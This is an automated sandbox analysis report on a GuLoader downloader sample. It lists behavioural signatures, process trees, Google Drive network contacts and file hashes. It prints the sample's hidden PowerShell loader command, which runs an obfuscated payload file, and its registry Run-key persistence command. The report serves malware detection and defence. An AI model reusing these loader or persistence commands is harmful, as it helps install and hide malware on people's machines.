Malware Analysis Report

2024-10-18 23:08

Sample ID 240710-cd578szdnp
Target 9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe
SHA256 9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f
Tags
guloader downloader execution persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f

Threat Level: Known bad

The file 9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe was found to be: Known bad.

Malicious Activity Summary

guloader downloader execution persistence

Guloader,Cloudeye

Command and Scripting Interpreter: PowerShell

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of NtCreateThreadExHideFromDebugger

Program crash

Enumerates physical storage devices

NSIS installer

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry key

Suspicious behavior: MapViewOfSection

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-10 01:58

Signatures

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-10 01:58

Reported

2024-07-10 02:01

Platform

win7-20240704-en

Max time kernel

121s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe"

Signatures

Guloader,Cloudeye

downloader guloader

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\\Ufrugtbarhedens\\').quadricapsular;%Grshoppens% ($nedstemmes)" C:\Windows\SysWOW64\reg.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1992 set thread context of 2924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Enumerates physical storage devices

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2692 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2692 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2692 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2692 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1992 wrote to memory of 2924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1992 wrote to memory of 2924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1992 wrote to memory of 2924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1992 wrote to memory of 2924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1992 wrote to memory of 2924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1992 wrote to memory of 2924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2924 wrote to memory of 2776 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2924 wrote to memory of 2776 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2924 wrote to memory of 2776 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2924 wrote to memory of 2776 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2776 wrote to memory of 1724 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2776 wrote to memory of 1724 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2776 wrote to memory of 1724 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2776 wrote to memory of 1724 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe

"C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Metabolizable=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139';$Kumpan=$Metabolizable.SubString(7195,3);.$Kumpan($Metabolizable)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 172.217.16.238:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 216.58.201.99:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 216.58.201.97:443 drive.usercontent.google.com tcp

Files

memory/1992-11-0x0000000074311000-0x0000000074312000-memory.dmp

memory/1992-12-0x0000000074310000-0x00000000748BB000-memory.dmp

memory/1992-13-0x0000000074310000-0x00000000748BB000-memory.dmp

memory/1992-14-0x0000000074310000-0x00000000748BB000-memory.dmp

memory/1992-15-0x0000000074310000-0x00000000748BB000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139

MD5 67cb075314762a89035c6b2b15c68f00
SHA1 382134aa018f620cdfbab89a67ae7c10b22e8547
SHA256 a853d35e1301ceef0526d96852cf8ed766c3d9f04bc5a7b49522b02d1b4302ea
SHA512 5677a3b68f751f9cb252d45aa35f4609fe0f81c734b3ed44ddb2acd8e017c371027841892f61a7aa71debe950b2b7ea05ecdbfe577130c69a8d74c74cbaf4190

memory/1992-18-0x0000000074310000-0x00000000748BB000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Varmevrkernes160.Ove

MD5 b9207704502bf9bc8956ea19f761c559
SHA1 dee462bb9bff33881c21ce2f8615a222cbb28aa2
SHA256 ea7565fe3b1b2fa90145b41406c2b175846785ba1be2d0248030dedbdd4aec6f
SHA512 cba66f601051aaee865574f94996c480873017195c122d750f7355a777359ec0ba05b5f786c88753c7e3b87a01daeae82edba1d3a799e09e28f7ef8bc1f6d704

memory/1992-20-0x0000000074310000-0x00000000748BB000-memory.dmp

memory/1992-21-0x00000000067C0000-0x000000000A8E9000-memory.dmp

memory/1992-22-0x0000000074310000-0x00000000748BB000-memory.dmp

memory/2924-24-0x0000000000380000-0x00000000013E2000-memory.dmp

memory/2924-44-0x00000000013F0000-0x0000000005519000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-10 01:58

Reported

2024-07-10 02:01

Platform

win10v2004-20240709-en

Max time kernel

95s

Max time network

130s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe

"C:\Users\Admin\AppData\Local\Temp\9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Metabolizable=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139';$Kumpan=$Metabolizable.SubString(7195,3);.$Kumpan($Metabolizable)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4572 -ip 4572

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4572 -s 2620

Network

Country Destination Domain Proto
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 99.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp

Files

memory/4572-9-0x00000000734CE000-0x00000000734CF000-memory.dmp

memory/4572-10-0x00000000027A0000-0x00000000027D6000-memory.dmp

memory/4572-12-0x00000000051E0000-0x0000000005808000-memory.dmp

memory/4572-11-0x00000000734C0000-0x0000000073C70000-memory.dmp

memory/4572-13-0x00000000734C0000-0x0000000073C70000-memory.dmp

memory/4572-14-0x0000000005840000-0x0000000005862000-memory.dmp

memory/4572-15-0x00000000059E0000-0x0000000005A46000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1otidix2.0oq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4572-16-0x0000000005A50000-0x0000000005AB6000-memory.dmp

memory/4572-26-0x0000000005CD0000-0x0000000006024000-memory.dmp

memory/4572-27-0x00000000060B0000-0x00000000060CE000-memory.dmp

memory/4572-28-0x0000000006160000-0x00000000061AC000-memory.dmp

memory/4572-31-0x0000000006640000-0x0000000006662000-memory.dmp

memory/4572-30-0x00000000065F0000-0x000000000660A000-memory.dmp

memory/4572-29-0x0000000007270000-0x0000000007306000-memory.dmp

memory/4572-32-0x00000000078C0000-0x0000000007E64000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139

MD5 67cb075314762a89035c6b2b15c68f00
SHA1 382134aa018f620cdfbab89a67ae7c10b22e8547
SHA256 a853d35e1301ceef0526d96852cf8ed766c3d9f04bc5a7b49522b02d1b4302ea
SHA512 5677a3b68f751f9cb252d45aa35f4609fe0f81c734b3ed44ddb2acd8e017c371027841892f61a7aa71debe950b2b7ea05ecdbfe577130c69a8d74c74cbaf4190

memory/4572-34-0x00000000084F0000-0x0000000008B6A000-memory.dmp

memory/4572-36-0x00000000734C0000-0x0000000073C70000-memory.dmp